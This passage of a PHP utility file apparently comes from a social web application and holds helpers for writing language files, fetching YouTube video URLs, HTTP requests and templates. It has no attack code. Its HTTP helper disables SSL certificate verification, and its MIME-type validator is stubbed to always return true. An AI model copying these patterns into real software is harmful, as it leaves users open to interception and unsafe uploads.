2976 foreach ($l as $k => $v)
2977 {
2978 if ($k == $lang_page) foreach ($v as $k2 => $v2)
2979 {
2980 $field_name = ($k2=="submit") ? "submit_js_patch" : $k2;
2981 $to .= "\$l['" . $k . "']['" . $k2 . "'] = \"" . to_php(get_param($field_name, 0) === 0 ? $v2 : get_param($field_name, "")) . "\";\r\n";
2982 }
2983 else foreach ($v as $k2 => $v2) $to .= "\$l['" . $k . "']['" . $k2 . "'] = \"" . to_php($v2) . "\";\r\n";
2984 $to .= "\r\n";
2985 }
2986 $to = substr($to, 0, strlen($to) - 2);
2987 $to .= "?>";
2988
2989 #@chmod($g['path']['dir_lang'] . $part . "/". $lang . "/language.php", 0777);
2990
2991 if (is_writable($filename)) {
2992 if (!$handle = @fopen($filename, 'w')) {
2993 $message = "Can't open file ({$filename}).";
2994 } else {
2995 if (@fwrite($handle, $to) === FALSE) {
2996 $message = "Can't write to file({$filename}).";
2997 } else {
2998 @fclose($handle);
2999 $message = 'updated';
3000 }
3001 @fclose($handle);
3002 }
3003 } else {
3004 $message = "Can't open file ({$filename}).";
3005 }
3006}
3007
3008function getDomainName()
3009{
3010 $domainPath = '';
3011 $uriParts = explode('/', $_SERVER['REQUEST_URI']);
3012
3013 if(count($uriParts) > 3) {
3014 array_pop($uriParts);
3015 array_pop($uriParts);
3016 $domainPath = implode('/', $uriParts) . '/';
3017 }
3018 $domain = str_replace('www.', '', $_SERVER['HTTP_HOST']);
3019
3020 return $domain . $domainPath;
3021}
3022
3023function unset_from_array($needle, &$array, $all = true) {
3024 if(!$all){
3025 if(FALSE !== $key = array_search($needle,$array)) unset($array[$key]);
3026 return;
3027 }
3028 foreach(array_keys($array,$needle) as $key){
3029 unset($array[$key]);
3030 }
3031}
3032
3033function checkCodeYouTubeVideoToDownload($urlVideo, $format, $urlencode = false, $links = null, $formats = null) {
3034 $data = array();
3035 $errorResponse = array('error_code' => 0, 'reason' => '');
3036 preg_match('/(?:^|\/|v=)([\w\-]{11,11})(?:\?|&|#|$)/', $urlVideo, $сode);
3037 if (isset($сode[1])) {
3038 $code = $сode[1];
3039 if (IS_DEMO && in_array($code, array('oTXCgR93zC8', 'btHXpOHDY9I'))) {
3040 $data = array('url' => Common::urlSiteSubfolders() . "_tools/demo_city/{$code}.mp4",
3041 'video_hash' => 'site_video',
3042 'type' => 'video/mp4; codecs="avc1.64001F, mp4a.40.2"');
3043 return $data;
3044 }
3045 if ($formats === null) {
3046 $formats = array('mp4' => array(37,22,18), 'webm' => array(45,44,43));
3047 }
3048 if ($links === null) {
3049 $links = @urlGetContents('https://www.youtube.com/get_video_info?video_id=' . $code . '&el=detailpage');
3050 }
3051 if ($links === false) {
3052 return $errorResponse;
3053 }
3054 parse_str($links, $info);
3055
3056 if (isset($info['status']) && $info['status'] != 'fail') {
3057 if (isset($info['url_encoded_fmt_stream_map']) && $info['url_encoded_fmt_stream_map']) {
3058 $prepareVideo = explode(',', $info['url_encoded_fmt_stream_map']);
3059 foreach ($prepareVideo as $video) {
3060 parse_str($video, $params);
3061 $videoInfo[$params['itag']] = $params;
3062 }
3063 foreach ($formats[$format] as $value) {
3064 if (isset($videoInfo[$value]) && url_file_exists($videoInfo[$value]['url'])) {
3065 $data = $videoInfo[$value];
3066 if ($urlencode) {
3067 $data['url'] = urlencode($data['url']);
3068 }
3069 unset($data['fallback_host']);
3070 unset($data['itag']);
3071 unset($data['quality']);
3072 unset($data['s']);//?????
3073 break;
3074 }
3075 }
3076 if ($data) {
3077 $data['video_hash'] = '1';
3078 }
3079 }
3080
3081 if(!$data && isset($info['player_response'])) {
3082 $player = json_decode($info['player_response'], true);
3083 if ($player && isset($player['streamingData'])
3084 && isset($player['streamingData']['formats'])) {
3085 $formatsStream = $player['streamingData']['formats'];
3086
3087 $formatsStreamItag = array();
3088 foreach ($formatsStream as $key => $row) {
3089 if (!isset($row['url'])) {
3090 unset($formatsStream[$key]);
3091 } elseif (strpos($row['mimeType'], $format) !== false) {
3092 $formatsStreamItag[$row['itag']] = $row;
3093 }
3094 }
3095
3096 if ($formatsStreamItag) {
3097 foreach ($formats[$format] as $value) {
3098 $formatsStreamItagOne = isset($formatsStreamItag[$value]) ? $formatsStreamItag[$value] : false;
3099 if ($formatsStreamItagOne
3100 && url_file_exists($formatsStreamItagOne['url'])) {
3101 if ($urlencode) {
3102 $data['url'] = urlencode($formatsStreamItagOne['url']);
3103 } else {
3104 $data['url'] = $formatsStreamItagOne['url'];
3105 }
3106 $data['type'] = $formatsStreamItagOne['mimeType'];
3107 break;
3108 }
3109 }
3110 }
3111
3112 if (!$data && ($formatsStreamItag || $formatsStream)) {
3113 $formatsStreamItag = $formatsStreamItag ? $formatsStreamItag : $formatsStream;
3114 $formatsStreamItagOne = array_shift($formatsStreamItag);
3115 if ($formatsStreamItagOne
3116 && url_file_exists($formatsStreamItagOne['url'])) {
3117 if ($urlencode) {
3118 $data['url'] = urlencode($formatsStreamItagOne['url']);
3119 } else {
3120 $data['url'] = $formatsStreamItagOne['url'];
3121 }
3122 $data['type'] = $formatsStreamItagOne['mimeType'];
3123 }
3124 }
3125 }
3126 if ($data) {
3127 $data['video_hash'] = '1';
3128 }
3129 }
3130 }
3131 if (!$data) {
3132 if (isset($info['errorcode'])) {
3133 $errorResponse['error_code'] = $info['errorcode'];
3134 }
3135 if (isset($info['reason'])) {
3136 $errorResponse['reason'] = $info['reason'];
3137 }
3138 $data = $errorResponse;
3139 }
3140 } else {
3141 $data = $errorResponse;
3142 $сode = explode('site_video:', $urlVideo);
3143 if (isset($сode[1])) {
3144 global $g;
3145 $urlVideo = Common::urlSiteSubfolders() . $g['dir_files'] . "/video/{$сode[1]}.mp4";
3146 if(url_file_exists($urlVideo)){
3147 $data = array('url' => $urlVideo,
3148 'video_hash' => 'site_video',
3149 'type' => 'video/mp4; codecs="avc1.64001F, mp4a.40.2"');
3150 }
3151 }
3152 }
3153 return $data;
3154}
3155
3156function isValidMimeType($url, $mimeTypes = 'video') {
3157 /*$isMimeExt = false;
3158 if (version_compare(PHP_VERSION, '5.3.0', '>=') && extension_loaded('fileinfo')){
3159 $finfo = finfo_open(FILEINFO_MIME_TYPE);
3160 $mime = finfo_file($finfo, $url);
3161 $isMimeExt = true;
3162 } else {
3163 if (function_exists('mime_content_type')){
3164 $mime = mime_content_type($url);
3165 $isMimeExt = true;
3166 }
3167 }
3168 if ($isMimeExt && (!$mime || !preg_match('/' . $mimeTypes . '/', $mime))){
3169 return false;
3170 }*/
3171 return true;
3172}
3173
3174function censured($msg) {
3175 global $g;
3176 $msg = trim($msg);
3177 if ($msg && Common::isOptionActive('filter')) {
3178 if (IS_DEMO) {
3179 $filter = file_get_contents($g['path']['dir_main'] . '_server/im_new/feature/' . 'filter');
3180 $filter = str_replace("\r", '', $filter);
3181 $filter = $filter . str_replace('.', ',', $filter);
3182 $g['deny_words'] = explode("\n", $filter);
3183 }
3184 if (isset($g['deny_words']) && $g['deny_words']) {
3185 $msg = to_profile($msg, '', l('oops'), false);
3186 }
3187 }
3188 return $msg;
3189}
3190
3191function urlGetContents($url, $method = 'get', $params = array(), $timeout = 3600, $useHttpBuildQuery = true, $headers = array())
3192{
3193 if($useHttpBuildQuery) {
3194 $params = http_build_query($params);
3195 }
3196
3197 if($method === 'get' && $params) {
3198 if(strpos($url, '?') !== false) {
3199 $delimiter = '&';
3200 } else {
3201 $delimiter = '?';
3202 }
3203
3204 $url .= $delimiter . $params;
3205 }
3206
3207 if(extension_loaded('curl')) {
3208 $curl = curl_init();
3209
3210 curl_setopt($curl, CURLOPT_URL, $url);
3211 curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
3212 curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $timeout);
3213 curl_setopt($curl, CURLOPT_TIMEOUT, $timeout);
3214 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
3215 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
3216 @curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
3217 if($headers) {
3218 curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
3219 }
3220
3221 if($method == 'post') {
3222 curl_setopt($curl, CURLOPT_POST, true);
3223 curl_setopt($curl, CURLOPT_POSTFIELDS, $params);
3224 }
3225
3226 $result = curl_exec($curl);
3227 curl_close($curl);
3228 } else {
3229 $options = array(
3230 'http' => array(
3231 'timeout' => $timeout,
3232 ),
3233 'ssl' => array(
3234 'verify_peer' => false,
3235 ),
3236 );
3237
3238 if($method == 'post') {
3239 $options['http']['method'] = 'POST';
3240 $options['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
3241 $options['http']['content'] = $params;
3242 if($headers) {
3243 $options['http']['header'] = implode("\r\n", $headers);
3244 }
3245 }
3246
3247 $context = stream_context_create($options);
3248 $result = file_get_contents($url, false, $context);
3249 }
3250
3251 return $result;
3252}
3253
3254function var_dump_pre($msg, $exit = false)
3255{
3256 echo '<pre>';
3257 var_dump($msg);
3258 echo '</pre>';
3259
3260 if($exit) {
3261 exit;
3262 }
3263}
3264
3265function print_r_pre($msg, $exit = false)
3266{
3267 echo '<pre>';
3268 print_r($msg);
3269 echo '</pre>';
3270
3271 if($exit) {
3272 exit;
3273 }
3274}
3275
3276function pageNotFound()
3277{
3278 header('HTTP/1.0 404 Not Found');
3279 die('<center><h1>Not Found</h1><a href="' . Common::urlSite() . '">Home Page</a></center>');
3280}
3281
3282function preparePageTemplate($template, $url = null)
3283{
3284 if ($url === null) {
3285 if (Common::isMobile() || get_param('view') == 'mobile') {
3286 $url = g('tmpl', 'dir_tmpl_mobile');
3287 } else {
3288 $url = g('tmpl', 'dir_tmpl_main');
3289 }
3290 }
3291 if (is_array($template)) {
3292 foreach ($template as $key => $value) {
3293 $template[$key] = $url . $value;
3294 }
3295 } else {
3296 $template = $url . $template;
3297 }
3298 return $template;
3299}
3300
3301function getPageCustomTemplate($tmpl, $option, $url = null)
3302{
3303 global $p;
3304
3305 if ($url === null) {
3306 if (Common::isMobile() || get_param('view') == 'mobile') {
3307 $url = g('tmpl', 'dir_tmpl_mobile');
3308 } else {
3309 $url = g('tmpl', 'dir_tmpl_main');
3310 }
3311 }
3312
3313 if (Common::isOptionActiveTemplate('custom_template_pages')) {
3314 $customTemplates = Common::getOptionTemplate($option);
3315 if ($customTemplates) {
3316 if (TemplateEdge::isTemplateColums() && is_array($customTemplates)
3317 && !in_array($option, Common::getOptionTemplate('page_no_columns_template'))) {
3318 $customTemplatesColumns = Common::getOptionTemplate($option . '_columns');
3319 if (!$customTemplatesColumns) {
3320 $customTemplatesColumns = array(
3321 'main' => str_replace('.html', '', $customTemplates['main']) . '_columns.html'
3322 );
3323 }
3324 $customTemplates = array_merge($customTemplates, $customTemplatesColumns, Common::getOptionTemplate('columns_template'));
3325 }
3326 $tmpl = $customTemplates;
3327 } elseif ($tmpl === null) {
3328 return null;
3329 }
3330 } elseif ($tmpl === null) {
3331 return null;
3332 }
3333
3334 return preparePageTemplate($tmpl, $url);
3335}
3336
3337function mergeCustomTemplate(&$listTmpl, $option, $url = null)
3338{
3339 if ($url === null) {
3340 $url = g('tmpl', 'dir_tmpl_main');
3341 }
3342
3343 $customTemplates = Common::getOptionTemplate($option);
3344 if ($customTemplates) {
3345 $customTemplates = preparePageTemplate($customTemplates, $url);
3346 $listTmpl = array_merge($listTmpl, $customTemplates);
3347 }
3348}
3349
3350function getAge($birthday) {
3351 $timestamp = strtotime($birthday);
3352 $age = date('Y') - date('Y', $timestamp);
3353 if (date('md', $timestamp) > date('md')) {
3354 $age--;
3355 }
3356 return $age;
3357}
3358
3359function stopScript($text = null)
3360{
3361 if($text !== null) {
3362 echo ($text);
3363 }
3364
3365 DB::close();
3366
3367 die();
3368}
3369
3370function getResponsePageAjaxByAuthStop(&$page, $isAuth = null){
3371 if ($isAuth === null) {
3372 $isAuth = guid();
3373 }
3374 stopScript(getResponsePageAjaxByAuth($isAuth, $page));
3375}
3376
3377function getMobileOnPageSearch(){
3378 $onPage = intval(Common::getOption('usersinfo_per_page', 'template_options'));
3379 $mOnPage = intval(Common::getOption('number_of_profiles_in_the_search_results'));
3380 if ($mOnPage) {
3381 $onPage = $mOnPage;
3382 }
3383 $cookieOnPage = intval(get_cookie('on_page', 1));
3384 if ($cookieOnPage) {
3385 $onPage = $cookieOnPage;
3386 }
3387 if (!$onPage) {
3388 $onPage = 20;
3389 }
3390 return $onPage;
3391}
3392
3393// Fix for open_basedir
3394function copyUrlToFile($from, $to) {
3395
3396 $result = false;
3397
3398 if(ini_get('open_basedir') || !ini_get('allow_url_fopen')) {
3399
3400 if(strpos($from, '://') !== false || strpos($from, '//') === 0) {
3401 $data = urlGetContents($from);
3402 } else {
3403 $data = file_get_contents($from);
3404 }
3405
3406 if($data) {
3407 $result = file_put_contents($to, $data);
3408 }
3409
3410 } else {
3411 $result = copy($from, $to);
3412 }
3413
3414 return $result !== false;
3415}
3416
3417function array_splice_assoc($input, $key, $replacement, $length = 1) {
3418 $replacement = (array) $replacement;
3419 $key_indices = array_flip(array_keys($input));
3420 if (isset($input[$key]) && is_string($key)) {
3421 $key = $key_indices[$key];
3422 }
3423 if (isset($input[$length]) && is_string($length)) {
3424 $length = $key_indices[$length] - $key;
3425 }
3426
3427 $input = array_slice($input, 0, $key, true)
3428 + $replacement
3429 + array_slice($input, $key + $length, null, true);
3430
3431 return $input;
3432}
3433
3434function prepareOpacityValue($value) {
3435 $value = intval(substr(trim($value), 0, 3));
3436 if($value > 100) {
3437 $value = 100;
3438 } elseif ($value < 0) {
3439 $value = 0;
3440 }
3441
3442 $value = $value / 100;
3443
3444 return $value;
3445}
3446
3447function getHex2Rgba($hex, $opacity = 1) {
3448 $rgba = implode(',', hex2rgb($hex)) . ',' . prepareOpacityValue($opacity);
3449 return 'rgba(' . $rgba . ')';
3450}
3451
3452/*
3453 * @param $value
3454 * @result int/false
3455 */
3456function prepare_int($value){
3457 $intValue = intval($value);
3458 if ($intValue && $value === strval($intValue)){
3459 return $intValue;
3460 }
3461 return NULL;
3462}
3463
3464/*
3465 * @param string $data "1,2,3,4"
3466 * @result string
3467 */
3468function to_sql_array_int($data, $strict = true){
3469
3470 $results = '';
3471 $data = strval($data);
3472
3473 if (!$data) {
3474 return $results;
3475 }
3476
3477 $data = explode(',', $data);
3478 if (is_array($data) && $data) {
3479 foreach ($data as $key => $value) {
3480 $value = prepare_int($value);
3481 if ($value === NULL){
3482 if ($strict) {
3483 $data = array();
3484 break;
3485 }
3486 unset($data[$key]);
3487 }
3488 }
3489 if ($data) {
3490 $results = implode(',', $data);
3491 }
3492 }
3493
3494 return to_sql($results, 'Plain');
3495}
3496
3497function jsonDecodeParamArray($param = null, $data = null)
3498{
3499 if ($data === null && $param !== null) {
3500 $data = get_param($param);
3501 }
3502 if (is_string($data)) {
3503 $data = json_decode($data, true);
3504 }
3505 if (!is_array($data)) {
3506 $data = array();
3507 }
3508 return $data;
3509}
3510
3511function getRand($counter = 0)
3512{
3513 $rand = ((guid() . time()) + mt_rand(0,100000));
3514 if ($counter) {
3515 $rand .= $counter;
3516 }
3517 return $rand;
3518}
3519
3520function get_magic_quotes_gpc_compatible()
3521{
3522 global $g;
3523
3524 if(isset($g['php']) && $g['php'] >= 7) {
3525 $result = false;
3526 } else {
3527 $result = get_magic_quotes_gpc();
3528 }
3529
3530 return $result;
3531}